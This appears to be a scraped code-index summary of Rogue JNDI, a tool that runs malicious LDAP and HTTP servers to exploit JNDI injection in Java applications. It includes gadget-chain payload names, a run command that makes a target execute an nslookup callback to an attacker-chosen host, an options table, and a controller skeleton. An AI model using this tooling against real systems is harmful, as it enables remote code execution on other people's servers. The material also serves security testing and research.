Overview of Rogue JNDI
masterObjectFactory manipulation, to achieve Remote Code Execution (RCE) or Out-of-Band (OOB) XXE.repository·master·Indexed 22 days ago
https://github.com/veracode-research/rogue-jndiA tool providing malicious LDAP and HTTP servers to exploit JNDI injection vulnerabilities in Java applications. It supports multiple RCE and XXE gadget chains, including RemoteReference, Tomcat, Groovy, and WebSphere payloads, to achieve remote code execution or out-of-band XXE via remote classloading and ObjectFactory manipulation.
ObjectFactory manipulation, to achieve Remote Code Execution (RCE) or Out-of-Band (OOB) XXE.Rogue JNDI supports several specific payload controllers to target different vulnerabilities and environments:
org.apache.naming.factory.BeanFactory.org.apache.naming.factory.BeanFactory combined with groovy.lang.GroovyShell.com.ibm.ws.webservices.engine.client.ServiceFactory.com.ibm.ws.client.applicationclient.ClientJ2CCFFactory.Run the Rogue JNDI server using the compiled JAR file. The most critical parameters for a successful attack are -n (the hostname of your local HTTP server, which must be accessible by the target) and -c (the command you wish to execute on the target).
# Example: Execute an nslookup command on the target
java -jar target/RogueJndi-1.1.jar --command "nslookup your_dns_sever.com" --hostname "192.168.1.10"To build the project, you need Java v1.7+ and Maven v3+. Use the following command to package the application:
mvn packageThe LdapServer uses a routing mechanism to map LDAP Distinguished Names (DNs) to specific LdapController implementations.
@LdapMapping is automatically discovered via reflection. The uri attribute of the @LdapMapping annotation defines the path used for routing.* at the end of the URI. If a mapping ends with *, the server performs a prefix match (e.g., a mapping for cn=user* will match a Base DN of cn=user,dc=example,dc=com).controller.sendResult(result, base) to execute the payload or return the malicious LDAP data.// Example of how a controller might be defined to be picked up by LdapServer
@LdapMapping(uri = {"/cn=attacker", "/ou=malicious*"})
public class MyMaliciousController implements LdapController {
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) {
// Implementation for sending malicious LDAP response
}
}The following options are available when running the Rogue JNDI JAR:
| Option | Long Flag | Description |
|---|---|---|
-c | --command | Command to execute on the target server (default: /Applications/Calculator.app/Contents/MacOS/Calculator) |
-n | --hostname | Local HTTP server hostname (required for remote classloading and websphere payloads) (default: 192.168.1.10) |
-l | --ldapPort | Ldap bind port (default: 1389) |
-p | --httpPort | Http bind port (default: 8000) |
| N/A | --wsdl | [websphere1 payload option] WSDL file with XXE payload (default: /list.wsdl) |
| N/A | --localjar | [websphere2 payload option] Local jar file to load (this file should be located on the remote server) (default: ../../../../../tmp/jar_cache7808167489549525095.tmp) |
-h | --help | Show this help |
The LdapServer.start() method initializes and starts a malicious LDAP server using an in-memory directory server. It listens on 0.0.0.0 at the port specified by Config.ldapPort.
When the server starts, it automatically scans the package for any classes annotated with @LdapMapping and registers them as controllers based on their defined URIs. This allows the server to route LDAP search requests to specific logic handlers.
artsploit.LdapServer.start();